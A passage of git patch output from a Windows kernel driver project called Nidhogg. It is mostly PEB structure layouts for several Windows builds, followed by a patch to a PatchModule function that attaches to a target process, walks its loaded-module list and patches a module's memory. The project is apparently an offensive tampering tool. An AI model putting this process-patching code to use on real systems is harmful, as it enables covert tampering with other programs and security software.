+ struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
+ struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
+ struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
+ struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
+ ULONGLONG MinimumStackCommit; //0x318
+ struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
+ LIST_ENTRY FlsListHead; //0x328
+ VOID* FlsBitmap; //0x338
+ ULONG FlsBitmapBits[4]; //0x340
+ ULONG FlsHighIndex; //0x350
+ VOID* WerRegistrationData; //0x358
+ VOID* WerShipAssertPtr; //0x360
+ VOID* pUnused; //0x368
+ VOID* pImageHeaderHash; //0x370
+ union
+ {
+ ULONG TracingFlags; //0x378
+ struct
+ {
+ ULONG HeapTracingEnabled : 1; //0x378
+ ULONG CritSecTracingEnabled : 1; //0x378
+ ULONG LibLoaderTracingEnabled : 1; //0x378
+ ULONG SpareTracingBits : 29; //0x378
+ };
+ };
+ UCHAR Padding6[4]; //0x37c
+ ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
+ ULONGLONG TppWorkerpListLock; //0x388
+ LIST_ENTRY TppWorkerpList; //0x390
+ VOID* WaitOnAddressHashTable[128]; //0x3a0
+ VOID* TelemetryCoverageHeader; //0x7a0
+ ULONG CloudFileFlags; //0x7a8
+} PEB_1709, * PPEB_1709;
+
+//0x7b8 bytes (sizeof)
+typedef struct _PEB_1803
+{
+ UCHAR InheritedAddressSpace; //0x0
+ UCHAR ReadImageFileExecOptions; //0x1
+ UCHAR BeingDebugged; //0x2
+ union
+ {
+ UCHAR BitField; //0x3
+ struct
+ {
+ UCHAR ImageUsesLargePages : 1; //0x3
+ UCHAR IsProtectedProcess : 1; //0x3
+ UCHAR IsImageDynamicallyRelocated : 1; //0x3
+ UCHAR SkipPatchingUser32Forwarders : 1; //0x3
+ UCHAR IsPackagedProcess : 1; //0x3
+ UCHAR IsAppContainer : 1; //0x3
+ UCHAR IsProtectedProcessLight : 1; //0x3
+ UCHAR IsLongPathAwareProcess : 1; //0x3
+ };
+ };
+ UCHAR Padding0[4]; //0x4
+ VOID* Mutant; //0x8
+ VOID* ImageBaseAddress; //0x10
+ PEB_LDR_DATA* Ldr; //0x18
+ RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20
+ VOID* SubSystemData; //0x28
+ VOID* ProcessHeap; //0x30
+ RTL_CRITICAL_SECTION* FastPebLock; //0x38
+ SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
+ VOID* IFEOKey; //0x48
+ union
+ {
+ ULONG CrossProcessFlags; //0x50
+ struct
+ {
+ ULONG ProcessInJob : 1; //0x50
+ ULONG ProcessInitializing : 1; //0x50
+ ULONG ProcessUsingVEH : 1; //0x50
+ ULONG ProcessUsingVCH : 1; //0x50
+ ULONG ProcessUsingFTH : 1; //0x50
+ ULONG ProcessPreviouslyThrottled : 1; //0x50
+ ULONG ProcessCurrentlyThrottled : 1; //0x50
+ ULONG ReservedBits0 : 25; //0x50
+ };
+ };
+ UCHAR Padding1[4]; //0x54
+ union
+ {
+ VOID* KernelCallbackTable; //0x58
+ VOID* UserSharedInfoPtr; //0x58
+ };
+ ULONG SystemReserved; //0x60
+ ULONG AtlThunkSListPtr32; //0x64
+ VOID* ApiSetMap; //0x68
+ ULONG TlsExpansionCounter; //0x70
+ UCHAR Padding2[4]; //0x74
+ VOID* TlsBitmap; //0x78
+ ULONG TlsBitmapBits[2]; //0x80
+ VOID* ReadOnlySharedMemoryBase; //0x88
+ VOID* SharedData; //0x90
+ VOID** ReadOnlyStaticServerData; //0x98
+ VOID* AnsiCodePageData; //0xa0
+ VOID* OemCodePageData; //0xa8
+ VOID* UnicodeCaseTableData; //0xb0
+ ULONG NumberOfProcessors; //0xb8
+ ULONG NtGlobalFlag; //0xbc
+ LARGE_INTEGER CriticalSectionTimeout; //0xc0
+ ULONGLONG HeapSegmentReserve; //0xc8
+ ULONGLONG HeapSegmentCommit; //0xd0
+ ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
+ ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
+ ULONG NumberOfHeaps; //0xe8
+ ULONG MaximumNumberOfHeaps; //0xec
+ VOID** ProcessHeaps; //0xf0
+ VOID* GdiSharedHandleTable; //0xf8
+ VOID* ProcessStarterHelper; //0x100
+ ULONG GdiDCAttributeList; //0x108
+ UCHAR Padding3[4]; //0x10c
+ RTL_CRITICAL_SECTION* LoaderLock; //0x110
+ ULONG OSMajorVersion; //0x118
+ ULONG OSMinorVersion; //0x11c
+ USHORT OSBuildNumber; //0x120
+ USHORT OSCSDVersion; //0x122
+ ULONG OSPlatformId; //0x124
+ ULONG ImageSubsystem; //0x128
+ ULONG ImageSubsystemMajorVersion; //0x12c
+ ULONG ImageSubsystemMinorVersion; //0x130
+ UCHAR Padding4[4]; //0x134
+ ULONGLONG ActiveProcessAffinityMask; //0x138
+ ULONG GdiHandleBuffer[60]; //0x140
+ VOID(*PostProcessInitRoutine)(); //0x230
+ VOID* TlsExpansionBitmap; //0x238
+ ULONG TlsExpansionBitmapBits[32]; //0x240
+ ULONG SessionId; //0x2c0
+ UCHAR Padding5[4]; //0x2c4
+ ULARGE_INTEGER AppCompatFlags; //0x2c8
+ ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
+ VOID* pShimData; //0x2d8
+ VOID* AppCompatInfo; //0x2e0
+ UNICODE_STRING CSDVersion; //0x2e8
+ struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
+ struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
+ struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
+ struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
+ ULONGLONG MinimumStackCommit; //0x318
+ struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
+ LIST_ENTRY FlsListHead; //0x328
+ VOID* FlsBitmap; //0x338
+ ULONG FlsBitmapBits[4]; //0x340
+ ULONG FlsHighIndex; //0x350
+ VOID* WerRegistrationData; //0x358
+ VOID* WerShipAssertPtr; //0x360
+ VOID* pUnused; //0x368
+ VOID* pImageHeaderHash; //0x370
+ union
+ {
+ ULONG TracingFlags; //0x378
+ struct
+ {
+ ULONG HeapTracingEnabled : 1; //0x378
+ ULONG CritSecTracingEnabled : 1; //0x378
+ ULONG LibLoaderTracingEnabled : 1; //0x378
+ ULONG SpareTracingBits : 29; //0x378
+ };
+ };
+ UCHAR Padding6[4]; //0x37c
+ ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
+ ULONGLONG TppWorkerpListLock; //0x388
+ LIST_ENTRY TppWorkerpList; //0x390
+ VOID* WaitOnAddressHashTable[128]; //0x3a0
+ VOID* TelemetryCoverageHeader; //0x7a0
+ ULONG CloudFileFlags; //0x7a8
+ ULONG CloudFileDiagFlags; //0x7ac
+ CHAR PlaceholderCompatibilityMode; //0x7b0
+ CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
+} PEB_1803, * PPEB_1803;
+
+//0x7c8 bytes (sizeof)
+typedef struct _PEB_1809
+{
+ UCHAR InheritedAddressSpace; //0x0
+ UCHAR ReadImageFileExecOptions; //0x1
+ UCHAR BeingDebugged; //0x2
+ union
+ {
+ UCHAR BitField; //0x3
+ struct
+ {
+ UCHAR ImageUsesLargePages : 1; //0x3
+ UCHAR IsProtectedProcess : 1; //0x3
+ UCHAR IsImageDynamicallyRelocated : 1; //0x3
+ UCHAR SkipPatchingUser32Forwarders : 1; //0x3
+ UCHAR IsPackagedProcess : 1; //0x3
+ UCHAR IsAppContainer : 1; //0x3
+ UCHAR IsProtectedProcessLight : 1; //0x3
+ UCHAR IsLongPathAwareProcess : 1; //0x3
+ };
+ };
+ UCHAR Padding0[4]; //0x4
+ VOID* Mutant; //0x8
+ VOID* ImageBaseAddress; //0x10
+ PEB_LDR_DATA* Ldr; //0x18
+ RTL_USER_PROCESS_PARAMETERS_1809* ProcessParameters; //0x20
+ VOID* SubSystemData; //0x28
+ VOID* ProcessHeap; //0x30
+ RTL_CRITICAL_SECTION* FastPebLock; //0x38
+ SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
+ VOID* IFEOKey; //0x48
+ union
+ {
+ ULONG CrossProcessFlags; //0x50
+ struct
+ {
+ ULONG ProcessInJob : 1; //0x50
+ ULONG ProcessInitializing : 1; //0x50
+ ULONG ProcessUsingVEH : 1; //0x50
+ ULONG ProcessUsingVCH : 1; //0x50
+ ULONG ProcessUsingFTH : 1; //0x50
+ ULONG ProcessPreviouslyThrottled : 1; //0x50
+ ULONG ProcessCurrentlyThrottled : 1; //0x50
+ ULONG ProcessImagesHotPatched : 1; //0x50
+ ULONG ReservedBits0 : 24; //0x50
+ };
+ };
+ UCHAR Padding1[4]; //0x54
+ union
+ {
+ VOID* KernelCallbackTable; //0x58
+ VOID* UserSharedInfoPtr; //0x58
+ };
+ ULONG SystemReserved; //0x60
+ ULONG AtlThunkSListPtr32; //0x64
+ VOID* ApiSetMap; //0x68
+ ULONG TlsExpansionCounter; //0x70
+ UCHAR Padding2[4]; //0x74
+ VOID* TlsBitmap; //0x78
+ ULONG TlsBitmapBits[2]; //0x80
+ VOID* ReadOnlySharedMemoryBase; //0x88
+ VOID* SharedData; //0x90
+ VOID** ReadOnlyStaticServerData; //0x98
+ VOID* AnsiCodePageData; //0xa0
+ VOID* OemCodePageData; //0xa8
+ VOID* UnicodeCaseTableData; //0xb0
+ ULONG NumberOfProcessors; //0xb8
+ ULONG NtGlobalFlag; //0xbc
+ LARGE_INTEGER CriticalSectionTimeout; //0xc0
+ ULONGLONG HeapSegmentReserve; //0xc8
+ ULONGLONG HeapSegmentCommit; //0xd0
+ ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
+ ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
+ ULONG NumberOfHeaps; //0xe8
+ ULONG MaximumNumberOfHeaps; //0xec
+ VOID** ProcessHeaps; //0xf0
+ VOID* GdiSharedHandleTable; //0xf8
+ VOID* ProcessStarterHelper; //0x100
+ ULONG GdiDCAttributeList; //0x108
+ UCHAR Padding3[4]; //0x10c
+ RTL_CRITICAL_SECTION* LoaderLock; //0x110
+ ULONG OSMajorVersion; //0x118
+ ULONG OSMinorVersion; //0x11c
+ USHORT OSBuildNumber; //0x120
+ USHORT OSCSDVersion; //0x122
+ ULONG OSPlatformId; //0x124
+ ULONG ImageSubsystem; //0x128
+ ULONG ImageSubsystemMajorVersion; //0x12c
+ ULONG ImageSubsystemMinorVersion; //0x130
+ UCHAR Padding4[4]; //0x134
+ ULONGLONG ActiveProcessAffinityMask; //0x138
+ ULONG GdiHandleBuffer[60]; //0x140
+ VOID(*PostProcessInitRoutine)(); //0x230
+ VOID* TlsExpansionBitmap; //0x238
+ ULONG TlsExpansionBitmapBits[32]; //0x240
+ ULONG SessionId; //0x2c0
+ UCHAR Padding5[4]; //0x2c4
+ ULARGE_INTEGER AppCompatFlags; //0x2c8
+ ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
+ VOID* pShimData; //0x2d8
+ VOID* AppCompatInfo; //0x2e0
+ UNICODE_STRING CSDVersion; //0x2e8
+ struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
+ struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
+ struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
+ struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
+ ULONGLONG MinimumStackCommit; //0x318
+ struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
+ LIST_ENTRY FlsListHead; //0x328
+ VOID* FlsBitmap; //0x338
+ ULONG FlsBitmapBits[4]; //0x340
+ ULONG FlsHighIndex; //0x350
+ VOID* WerRegistrationData; //0x358
+ VOID* WerShipAssertPtr; //0x360
+ VOID* pUnused; //0x368
+ VOID* pImageHeaderHash; //0x370
+ union
+ {
+ ULONG TracingFlags; //0x378
+ struct
+ {
+ ULONG HeapTracingEnabled : 1; //0x378
+ ULONG CritSecTracingEnabled : 1; //0x378
+ ULONG LibLoaderTracingEnabled : 1; //0x378
+ ULONG SpareTracingBits : 29; //0x378
+ };
+ };
+ UCHAR Padding6[4]; //0x37c
+ ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
+ ULONGLONG TppWorkerpListLock; //0x388
+ LIST_ENTRY TppWorkerpList; //0x390
+ VOID* WaitOnAddressHashTable[128]; //0x3a0
+ VOID* TelemetryCoverageHeader; //0x7a0
+ ULONG CloudFileFlags; //0x7a8
+ ULONG CloudFileDiagFlags; //0x7ac
+ CHAR PlaceholderCompatibilityMode; //0x7b0
+ CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
+ LEAP_SECOND_DATA* LeapSecondData; //0x7b8
+ union
+ {
+ ULONG LeapSecondFlags; //0x7c0
+ struct
+ {
+ ULONG SixtySecondEnabled : 1; //0x7c0
+ ULONG Reserved : 31; //0x7c0
+ };
+ };
+ ULONG NtGlobalFlag2; //0x7c4
+} PEB_1809, * PPEB_1809;
+
+//0x7c8 bytes (sizeof)
+typedef struct _PEB_1903
+{
+ UCHAR InheritedAddressSpace; //0x0
+ UCHAR ReadImageFileExecOptions; //0x1
+ UCHAR BeingDebugged; //0x2
+ union
+ {
+ UCHAR BitField; //0x3
+ struct
+ {
+ UCHAR ImageUsesLargePages : 1; //0x3
+ UCHAR IsProtectedProcess : 1; //0x3
+ UCHAR IsImageDynamicallyRelocated : 1; //0x3
+ UCHAR SkipPatchingUser32Forwarders : 1; //0x3
+ UCHAR IsPackagedProcess : 1; //0x3
+ UCHAR IsAppContainer : 1; //0x3
+ UCHAR IsProtectedProcessLight : 1; //0x3
+ UCHAR IsLongPathAwareProcess : 1; //0x3
+ };
+ };
+ UCHAR Padding0[4]; //0x4
+ VOID* Mutant; //0x8
+ VOID* ImageBaseAddress; //0x10
+ PEB_LDR_DATA* Ldr; //0x18
+ RTL_USER_PROCESS_PARAMETERS_1903* ProcessParameters; //0x20
+ VOID* SubSystemData; //0x28
+ VOID* ProcessHeap; //0x30
+ RTL_CRITICAL_SECTION* FastPebLock; //0x38
+ SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
+ VOID* IFEOKey; //0x48
+ union
+ {
+ ULONG CrossProcessFlags; //0x50
+ struct
+ {
+ ULONG ProcessInJob : 1; //0x50
+ ULONG ProcessInitializing : 1; //0x50
+ ULONG ProcessUsingVEH : 1; //0x50
+ ULONG ProcessUsingVCH : 1; //0x50
+ ULONG ProcessUsingFTH : 1; //0x50
+ ULONG ProcessPreviouslyThrottled : 1; //0x50
+ ULONG ProcessCurrentlyThrottled : 1; //0x50
+ ULONG ProcessImagesHotPatched : 1; //0x50
+ ULONG ReservedBits0 : 24; //0x50
+ };
+ };
+ UCHAR Padding1[4]; //0x54
+ union
+ {
+ VOID* KernelCallbackTable; //0x58
+ VOID* UserSharedInfoPtr; //0x58
+ };
+ ULONG SystemReserved; //0x60
+ ULONG AtlThunkSListPtr32; //0x64
+ VOID* ApiSetMap; //0x68
+ ULONG TlsExpansionCounter; //0x70
+ UCHAR Padding2[4]; //0x74
+ VOID* TlsBitmap; //0x78
+ ULONG TlsBitmapBits[2]; //0x80
+ VOID* ReadOnlySharedMemoryBase; //0x88
+ VOID* SharedData; //0x90
+ VOID** ReadOnlyStaticServerData; //0x98
+ VOID* AnsiCodePageData; //0xa0
+ VOID* OemCodePageData; //0xa8
+ VOID* UnicodeCaseTableData; //0xb0
+ ULONG NumberOfProcessors; //0xb8
+ ULONG NtGlobalFlag; //0xbc
+ LARGE_INTEGER CriticalSectionTimeout; //0xc0
+ ULONGLONG HeapSegmentReserve; //0xc8
+ ULONGLONG HeapSegmentCommit; //0xd0
+ ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
+ ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
+ ULONG NumberOfHeaps; //0xe8
+ ULONG MaximumNumberOfHeaps; //0xec
+ VOID** ProcessHeaps; //0xf0
+ VOID* GdiSharedHandleTable; //0xf8
+ VOID* ProcessStarterHelper; //0x100
+ ULONG GdiDCAttributeList; //0x108
+ UCHAR Padding3[4]; //0x10c
+ RTL_CRITICAL_SECTION* LoaderLock; //0x110
+ ULONG OSMajorVersion; //0x118
+ ULONG OSMinorVersion; //0x11c
+ USHORT OSBuildNumber; //0x120
+ USHORT OSCSDVersion; //0x122
+ ULONG OSPlatformId; //0x124
+ ULONG ImageSubsystem; //0x128
+ ULONG ImageSubsystemMajorVersion; //0x12c
+ ULONG ImageSubsystemMinorVersion; //0x130
+ UCHAR Padding4[4]; //0x134
+ ULONGLONG ActiveProcessAffinityMask; //0x138
+ ULONG GdiHandleBuffer[60]; //0x140
+ VOID(*PostProcessInitRoutine)(); //0x230
+ VOID* TlsExpansionBitmap; //0x238
+ ULONG TlsExpansionBitmapBits[32]; //0x240
+ ULONG SessionId; //0x2c0
+ UCHAR Padding5[4]; //0x2c4
+ ULARGE_INTEGER AppCompatFlags; //0x2c8
+ ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
+ VOID* pShimData; //0x2d8
+ VOID* AppCompatInfo; //0x2e0
+ UNICODE_STRING CSDVersion; //0x2e8
+ struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
+ struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
+ struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
+ struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
+ ULONGLONG MinimumStackCommit; //0x318
+ struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
+ LIST_ENTRY FlsListHead; //0x328
+ VOID* FlsBitmap; //0x338
+ ULONG FlsBitmapBits[4]; //0x340
+ ULONG FlsHighIndex; //0x350
+ VOID* WerRegistrationData; //0x358
+ VOID* WerShipAssertPtr; //0x360
+ VOID* pUnused; //0x368
+ VOID* pImageHeaderHash; //0x370
+ union
+ {
+ ULONG TracingFlags; //0x378
+ struct
+ {
+ ULONG HeapTracingEnabled : 1; //0x378
+ ULONG CritSecTracingEnabled : 1; //0x378
+ ULONG LibLoaderTracingEnabled : 1; //0x378
+ ULONG SpareTracingBits : 29; //0x378
+ };
+ };
+ UCHAR Padding6[4]; //0x37c
+ ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
+ ULONGLONG TppWorkerpListLock; //0x388
+ LIST_ENTRY TppWorkerpList; //0x390
+ VOID* WaitOnAddressHashTable[128]; //0x3a0
+ VOID* TelemetryCoverageHeader; //0x7a0
+ ULONG CloudFileFlags; //0x7a8
+ ULONG CloudFileDiagFlags; //0x7ac
+ CHAR PlaceholderCompatibilityMode; //0x7b0
+ CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
+ LEAP_SECOND_DATA* LeapSecondData; //0x7b8
+ union
+ {
+ ULONG LeapSecondFlags; //0x7c0
+ struct
+ {
+ ULONG SixtySecondEnabled : 1; //0x7c0
+ ULONG Reserved : 31; //0x7c0
+ };
+ };
+ ULONG NtGlobalFlag2; //0x7c4
+} PEB_1903, * PPEB_1903;
+
+//0x7d0 bytes (sizeof)
+typedef struct _PEB_WIN11
+{
+ UCHAR InheritedAddressSpace; //0x0
+ UCHAR ReadImageFileExecOptions; //0x1
+ UCHAR BeingDebugged; //0x2
+ union
+ {
+ UCHAR BitField; //0x3
+ struct
+ {
+ UCHAR ImageUsesLargePages : 1; //0x3
+ UCHAR IsProtectedProcess : 1; //0x3
+ UCHAR IsImageDynamicallyRelocated : 1; //0x3
+ UCHAR SkipPatchingUser32Forwarders : 1; //0x3
+ UCHAR IsPackagedProcess : 1; //0x3
+ UCHAR IsAppContainer : 1; //0x3
+ UCHAR IsProtectedProcessLight : 1; //0x3
+ UCHAR IsLongPathAwareProcess : 1; //0x3
+ };
+ };
+ UCHAR Padding0[4]; //0x4
+ VOID* Mutant; //0x8
+ VOID* ImageBaseAddress; //0x10
+ PEB_LDR_DATA* Ldr; //0x18
+ RTL_USER_PROCESS_PARAMETERS_1903* ProcessParameters; //0x20
+ VOID* SubSystemData; //0x28
+ VOID* ProcessHeap; //0x30
+ RTL_CRITICAL_SECTION* FastPebLock; //0x38
+ SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
+ VOID* IFEOKey; //0x48
+ union
+ {
+ ULONG CrossProcessFlags; //0x50
+ struct
+ {
+ ULONG ProcessInJob : 1; //0x50
+ ULONG ProcessInitializing : 1; //0x50
+ ULONG ProcessUsingVEH : 1; //0x50
+ ULONG ProcessUsingVCH : 1; //0x50
+ ULONG ProcessUsingFTH : 1; //0x50
+ ULONG ProcessPreviouslyThrottled : 1; //0x50
+ ULONG ProcessCurrentlyThrottled : 1; //0x50
+ ULONG ProcessImagesHotPatched : 1; //0x50
+ ULONG ReservedBits0 : 24; //0x50
+ };
+ };
+ UCHAR Padding1[4]; //0x54
+ union
+ {
+ VOID* KernelCallbackTable; //0x58
+ VOID* UserSharedInfoPtr; //0x58
+ };
+ ULONG SystemReserved; //0x60
+ ULONG AtlThunkSListPtr32; //0x64
+ VOID* ApiSetMap; //0x68
+ ULONG TlsExpansionCounter; //0x70
+ UCHAR Padding2[4]; //0x74
+ RTL_BITMAP* TlsBitmap; //0x78
+ ULONG TlsBitmapBits[2]; //0x80
+ VOID* ReadOnlySharedMemoryBase; //0x88
+ VOID* SharedData; //0x90
+ VOID** ReadOnlyStaticServerData; //0x98
+ VOID* AnsiCodePageData; //0xa0
+ VOID* OemCodePageData; //0xa8
+ VOID* UnicodeCaseTableData; //0xb0
+ ULONG NumberOfProcessors; //0xb8
+ ULONG NtGlobalFlag; //0xbc
+ LARGE_INTEGER CriticalSectionTimeout; //0xc0
+ ULONGLONG HeapSegmentReserve; //0xc8
+ ULONGLONG HeapSegmentCommit; //0xd0
+ ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
+ ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
+ ULONG NumberOfHeaps; //0xe8
+ ULONG MaximumNumberOfHeaps; //0xec
+ VOID** ProcessHeaps; //0xf0
+ VOID* GdiSharedHandleTable; //0xf8
+ VOID* ProcessStarterHelper; //0x100
+ ULONG GdiDCAttributeList; //0x108
+ UCHAR Padding3[4]; //0x10c
+ RTL_CRITICAL_SECTION* LoaderLock; //0x110
+ ULONG OSMajorVersion; //0x118
+ ULONG OSMinorVersion; //0x11c
+ USHORT OSBuildNumber; //0x120
+ USHORT OSCSDVersion; //0x122
+ ULONG OSPlatformId; //0x124
+ ULONG ImageSubsystem; //0x128
+ ULONG ImageSubsystemMajorVersion; //0x12c
+ ULONG ImageSubsystemMinorVersion; //0x130
+ UCHAR Padding4[4]; //0x134
+ ULONGLONG ActiveProcessAffinityMask; //0x138
+ ULONG GdiHandleBuffer[60]; //0x140
+ VOID(*PostProcessInitRoutine)(); //0x230
+ RTL_BITMAP* TlsExpansionBitmap; //0x238
+ ULONG TlsExpansionBitmapBits[32]; //0x240
+ ULONG SessionId; //0x2c0
+ UCHAR Padding5[4]; //0x2c4
+ ULARGE_INTEGER AppCompatFlags; //0x2c8
+ ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
+ VOID* pShimData; //0x2d8
+ VOID* AppCompatInfo; //0x2e0
+ UNICODE_STRING CSDVersion; //0x2e8
+ struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
+ struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
+ struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
+ struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
+ ULONGLONG MinimumStackCommit; //0x318
+ VOID* SparePointers[2]; //0x320
+ VOID* PatchLoaderData; //0x330
+ struct _CHPEV2_PROCESS_INFO* ChpeV2ProcessInfo; //0x338
+ ULONG SpareUlongs[3]; //0x340
+ USHORT ActiveCodePage; //0x34c
+ USHORT OemCodePage; //0x34e
+ USHORT UseCaseMapping; //0x350
+ USHORT UnusedNlsField; //0x352
+ VOID* WerRegistrationData; //0x358
+ VOID* WerShipAssertPtr; //0x360
+ VOID* EcCodeBitMap; //0x368
+ VOID* pImageHeaderHash; //0x370
+ union
+ {
+ ULONG TracingFlags; //0x378
+ struct
+ {
+ ULONG HeapTracingEnabled : 1; //0x378
+ ULONG CritSecTracingEnabled : 1; //0x378
+ ULONG LibLoaderTracingEnabled : 1; //0x378
+ ULONG SpareTracingBits : 29; //0x378
+ };
+ };
+ UCHAR Padding6[4]; //0x37c
+ ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
+ ULONGLONG TppWorkerpListLock; //0x388
+ LIST_ENTRY TppWorkerpList; //0x390
+ VOID* WaitOnAddressHashTable[128]; //0x3a0
+ VOID* TelemetryCoverageHeader; //0x7a0
+ ULONG CloudFileFlags; //0x7a8
+ ULONG CloudFileDiagFlags; //0x7ac
+ CHAR PlaceholderCompatibilityMode; //0x7b0
+ CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
+ LEAP_SECOND_DATA* LeapSecondData; //0x7b8
+ union
+ {
+ ULONG LeapSecondFlags; //0x7c0
+ struct
+ {
+ ULONG SixtySecondEnabled : 1; //0x7c0
+ ULONG Reserved : 31; //0x7c0
+ };
+ };
+ ULONG NtGlobalFlag2; //0x7c4
+ ULONGLONG ExtendedFeatureDisableMask; //0x7c8
+} PEB_WIN11, * PPEB_WIN11;
+
// Undocumented.
struct _OBJECT_TYPE_INITIALIZER_TEMP
{
From 8500717fa2fc0fb94a40b52ac4407c8a52391414 Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Wed, 12 Oct 2022 21:10:33 +0300
Subject: [PATCH 04/10] Attempt to fix round 2
---
Nidhogg/ModuleUtils.hpp | 169 +----
Nidhogg/Nidhogg.cpp | 3 +-
Nidhogg/WindowsTypes.h | 1450 +--------------------------------------
3 files changed, 61 insertions(+), 1561 deletions(-)
diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp
index 2a23328..7c59f50 100644
--- a/Nidhogg/ModuleUtils.hpp
+++ b/Nidhogg/ModuleUtils.hpp
@@ -1,10 +1,6 @@
#pragma once
#include "pch.h"
-// Function declaration.
-PPEB_LDR_DATA GetLDRFromPEB(PPEB peb);
-PVOID GetModuleImageBase(PPEB_LDR_DATA ldr, WCHAR* moduleName);
-
/*
* Description:
* PatchModule is responsible for patching a certain moudle in a certain process.
@@ -20,6 +16,8 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) {
PEPROCESS TargetProcess;
ULONG oldProtection;
SIZE_T outBytes;
+ KAPC_STATE state;
+ UNICODE_STRING moduleName = { 0 };
PVOID moduleImageBase = NULL;
NTSTATUS status = STATUS_UNSUCCESSFUL;
MEMORY_BASIC_INFORMATION memInfo = { 0 };
@@ -36,25 +34,39 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) {
if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch.Pid, &TargetProcess) != STATUS_SUCCESS)
return status;
- KeAttachProcess(TargetProcess);
-
- PPEB targetPeb = dimGlobals.PsGetProcessPeb(TargetProcess);
+ KeStackAttachProcess(TargetProcess, &state);
+ PREALPEB targetPeb = (PREALPEB)dimGlobals.PsGetProcessPeb(TargetProcess);
if (!targetPeb)
goto CleanUp;
- PPEB_LDR_DATA ldr = GetLDRFromPEB(targetPeb);
-
- for (int i = 0; !ldr && i < 10; i++)
+ for (int i = 0; !targetPeb->LoaderData && i < 10; i++)
{
KeDelayExecutionThread(KernelMode, TRUE, &time);
}
- if (!ldr)
+ if (!targetPeb->LoaderData)
goto CleanUp;
// Getting the module's image base.
- moduleImageBase = GetModuleImageBase(ldr, ModuleToPatch.ModuleName);
+ for (PLIST_ENTRY pListEntry = targetPeb->LoaderData->InLoadOrderModuleList.Flink;
+ pListEntry != &targetPeb->LoaderData->InLoadOrderModuleList;
+ pListEntry = pListEntry->Flink) {
+ PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
+
+ if (pEntry->FullDllName.Length == 0)
+ continue;
+
+ /*if (wcisstr(pEntry->FullDllName.Buffer, ModuleToPatch.ModuleName)) {
+ moduleImageBase = pEntry->DllBase;
+ break;
+ }*/
+
+ /*if (_wcsnicmp(pEntry->FullDllName.Buffer, ModuleToPatch.ModuleName, pEntry->FullDllName.Length / sizeof(WCHAR) - 4) == 0) {
+ moduleImageBase = pEntry->DllBase;
+ break;
+ }*/
+ }
if (!moduleImageBase)
goto CleanUp;
@@ -149,138 +161,7 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) {
if (success)
status = STATUS_SUCCESS;
CleanUp:
- KeAttachProcess(TargetProcess);
+ KeUnstackDetachProcess(&state);
ObDereferenceObject(TargetProcess);
return status;
}
-
-PPEB_LDR_DATA GetLDRFromPEB(PPEB peb) {
- PPEB_LDR_DATA ldr = NULL;
- RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) };
- NTSTATUS result = RtlGetVersion(&osVersion);
-
- if (NT_SUCCESS(result)) {
- switch (osVersion.dwBuildNumber) {
- case WIN_1507:
- {
- PPEB_1507 peb1507 = (PPEB_1507)peb;
- ldr = peb1507->Ldr;
- break;
- }
- case WIN_1511:
- case WIN_1607:
- case WIN_1703:
- {
